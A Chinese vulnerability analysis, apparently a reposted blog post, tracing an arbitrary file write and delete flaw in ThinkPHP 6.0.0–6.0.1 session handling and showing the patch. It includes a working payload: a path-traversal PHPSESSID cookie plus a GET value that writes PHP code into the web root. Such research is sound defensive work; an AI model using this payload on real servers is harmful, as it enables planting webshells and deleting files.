Thinkphp6.0 任意文件写入

准备

创建代码:

composer create-project topthink/think thinkphp6.0.1

    "require": {
    
    
        "php": ">=7.1.0",
        "topthink/framework": "6.0.1",
        "topthink/think-orm": "^2.0"
    },

composer update

ThinkPHP6默认不开启session,我们需要修改app\middleware.php文件

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    // \think\middleware\LoadLangPack::class,
    // Session初始化
     \think\middleware\SessionInit::class
];

index控制器:

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    
    
    public function index()
    {
    
    
        $a = isset($_GET['a']) && !empty($_GET['a']) ? $_GET['a'] : '';
        $b = isset($_GET['b']) && !empty($_GET['b']) ? $_GET['b'] : '';
        session($a,$b);
    }

}

漏洞影响版本:

THINKPHP 6.0.0~6.0.1

任意文件写入分析

先看看session函数干了什么:

    /**
     * Session管理
     * @param string $name  session名称
     * @param mixed  $value session值
     * @return mixed
     */
    function session($name = '', $value = '')
    {
    
    
        if (is_null($name)) {
    
    
            // 清除
            Session::clear();
        } elseif ('' === $name) {
    
    
            return Session::all();
        } elseif (is_null($value)) {
    
    
            // 删除
            Session::delete($name);
        } elseif ('' === $value) {
    
    
            // 判断或获取
            return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name);
        } else {
    
    
            // 设置
            Session::set($name, $value);
        }
    }

前面的if都无法满足,跟进Session::set()方法:
在这里插入图片描述
再跟进Arr::set

    /**
     * Set an array item to a given value using "dot" notation.
     *
     * If no key is given to the method, the entire array will be replaced.
     *
     * @param array  $array
     * @param string $key
     * @param mixed  $value
     * @return array
     */
    public static function set(&$array, $key, $value)
    {
    
    
        if (is_null($key)) {
    
    
            return $array = $value;
        }

        $keys = explode('.', $key);

        while (count($keys) > 1) {
    
    
            $key = array_shift($keys);

            // If the key doesn't exist at this depth, we will just create an empty array
            // to hold the next value, allowing us to create the arrays to hold final
            // values at the correct depth. Then we'll keep digging into the array.
            if (!isset($array[$key]) || !is_array($array[$key])) {
    
    
                $array[$key] = [];
            }

            $array = &$array[$key];
        }

        $array[array_shift($keys)] = $value;

        return $array;
    }

可以看到入参是&$array,所以在这个函数里可以修改$this->data
这里$key就是get传的参数a,$value是get传的参数b,分别是session的键和值。
看一下逻辑。如果键为空,就用$value覆盖$this->data。这里传入的键只有一个,因此也进入不了那个while,直接是这样处理的:

$array[array_shift($keys)] = $value;

相当于给session写入一个键值对了。然后这个session函数就结束了。

这里可能会很懵,但是先看一下github:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
发现setId()方法似乎存在问题。全局查找一下这个发现,发现它在SessionInit类的handler方法中被调用:

    /**
     * Session初始化
     * @access public
     * @param Request $request
     * @param Closure $next
     * @return Response
     */
    public function handle($request, Closure $next)
    {
    
    
        // Session初始化
        $varSessionId = $this->app->config->get('session.var_session_id');
        $cookieName   = $this->session->getName();

        if ($varSessionId && $request->request($varSessionId)) {
    
    
            $sessionId = $request->request($varSessionId);
        } else {
    
    
            $sessionId = $request->cookie($cookieName);
        }

        if ($sessionId) {
    
    
            $this->session->setId($sessionId);
        }

        $this->session->init();

        $request->withSession($this->session);

        /** @var Response $response */
        $response = $next($request);

        $response->setSession($this->session);

        $this->app->cookie->set($cookieName, $this->session->getId());

        return $response;
    }

这个方法是进行session的初始化,既然开启了session,前面肯定会执行这个函数。
分析一下,$varSessionId获得session.var_session_id这个配置,默认为空:
在这里插入图片描述
$cookieName获取的是session$name,默认是PHPSESSID:
在这里插入图片描述
因此第一个if进不去,进入else:

$sessionId = $request->cookie($cookieName);

获取cookie中键为PHPSESSID的值作为$sessionId
之后就进入这个有漏洞的setId()

        if ($sessionId) {
    
    
            $this->session->setId($sessionId);
        }

这里的$sessionId是我们可控的,只要它的长度是32,就会被赋值给$this->id。这个又有什么用呢?

public下的index有一个end方法:
在这里插入图片描述
对中间件进行了end():
在这里插入图片描述
对中间件进行结束调度,通过打断点,发现有一个$instanceSessionInit
在这里插入图片描述
因此会调用SessionId类的end方法:
在这里插入图片描述
跟进save():
在这里插入图片描述
这里$sessionId就是$this->id。之前在session()方法中,就把我们可控的键值对写入了$this->data,因此$this->data不空,会对其进行一次序列化。然后进入write方法:
在这里插入图片描述
跟进getFileName()
在这里插入图片描述
$this->config['prefix']为空,因此$name = 'sess_' . $name;就是sess_和我们可控的$name进行拼接。之后再进入writeFile()方法:
在这里插入图片描述
进行文件写入。因此这里$path的后面部分可控,$content可控,因此可以进行任意文件写入。

构造一下:

?a=1&b=<?php phpinfo();?>

PHPSESSID=/../../../public/11111111111.php

在这里插入图片描述

任意文件删除

但是正常的情况下,session的内容是不可控的,所以正常是没法控制写入的内容,无法写马。但是可以在开启session的情况下,可以任意删除:
在这里插入图片描述

PHPSESSID=/../../../public/11111111111.php;

修复

整体都分析过了,再反过来看一下这个修复:
在这里插入图片描述

在这里插入图片描述
这样就算开启了session且内容可控,但是只能写入数字字母,也无法写马了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/114678981